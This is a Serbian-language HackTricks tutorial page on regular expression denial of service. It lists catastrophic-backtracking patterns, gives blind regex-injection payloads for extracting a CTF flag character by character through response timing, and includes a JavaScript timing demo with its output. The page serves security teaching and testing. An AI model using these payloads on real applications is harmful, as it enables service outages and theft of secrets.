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81 lines
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81 lines
4.1 KiB
Markdown
# Regular expression Denial of Service - ReDoS
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{{#include ../banners/hacktricks-training.md}}
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# Regular Expression Denial of Service (ReDoS)
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**Regular Expression Denial of Service (ReDoS)** se dešava kada neko iskoristi slabosti u načinu na koji regularni izrazi (način pretrage i usklađivanja obrazaca u tekstu) funkcionišu. Ponekad, kada se koriste regularni izrazi, mogu postati veoma spori, posebno ako deo teksta s kojim rade postane veći. Ova sporost može postati toliko loša da raste veoma brzo čak i sa malim povećanjima u veličini teksta. Napadači mogu iskoristiti ovaj problem da program koji koristi regularne izraze prestane da funkcioniše ispravno na duži vremenski period.
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## Problematični Regex Naïve Algoritam
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**Proverite detalje u [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
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## Zli Regexi <a href="#evil-regexes" id="evil-regexes"></a>
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Zli obrazac regularnog izraza je onaj koji može **da se zaglavi na kreiranom unosu uzrokujući DoS**. Zli regex obrasci obično sadrže grupisanje sa ponavljanjem i ponavljanje ili alternativu sa preklapanjem unutar ponovljene grupe. Neki primeri zlih obrazaca uključuju:
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- (a+)+
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- ([a-zA-Z]+)\*
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- (a|aa)+
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- (a|a?)+
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- (.\*a){x} za x > 10
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Svi su ranjivi na unos `aaaaaaaaaaaaaaaaaaaaaaaa!`.
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## ReDoS Payloads
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### String Exfiltration via ReDoS
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U CTF-u (ili bug bounty) možda **kontrolišete Regex sa kojim se usklađuje osetljiva informacija (zastava)**. Tada bi moglo biti korisno da **stranica zamrzne (timeout ili duže vreme obrade)** ako je **Regex usklađen** i **ne ako nije**. Na ovaj način ćete moći da **izvučete** string **karakter po karakter**:
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- U [**ovom postu**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) možete pronaći ovo ReDoS pravilo: `^(?=<flag>)((.*)*)*salt$`
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- Primer: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
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- U [**ovoj analizi**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) možete pronaći ovo: `<flag>(((((((.*)*)*)*)*)*)*)!`
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- U [**ovoj analizi**](https://ctftime.org/writeup/25869) koristio je: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
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### ReDoS Kontrolisanje Unosa i Regex
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Sledeći su **ReDoS** primeri gde **kontrolišete** i **unos** i **regex**:
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```javascript
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function check_time_regexp(regexp, text) {
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var t0 = new Date().getTime()
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new RegExp(regexp).test(text)
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var t1 = new Date().getTime()
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console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
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}
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// This payloads work because the input has several "a"s
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;[
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// "((a+)+)+$", //Eternal,
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// "(a?){100}$", //Eternal
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"(a|a?)+$",
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"(\\w*)+$", //Generic
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"(a*)+$",
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"(.*a){100}$",
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"([a-zA-Z]+)*$", //Generic
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"(a+)*$",
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].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
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/*
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Regexp (a|a?)+$ took 5076 milliseconds.
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Regexp (\w*)+$ took 3198 milliseconds.
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Regexp (a*)+$ took 3281 milliseconds.
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Regexp (.*a){100}$ took 1436 milliseconds.
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Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
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Regexp (a+)*$ took 723 milliseconds.
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*/
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```
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## Alati
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- [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
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- [https://devina.io/redos-checker](https://devina.io/redos-checker)
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## Reference
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- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
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- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
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- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
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- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
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{{#include ../banners/hacktricks-training.md}}
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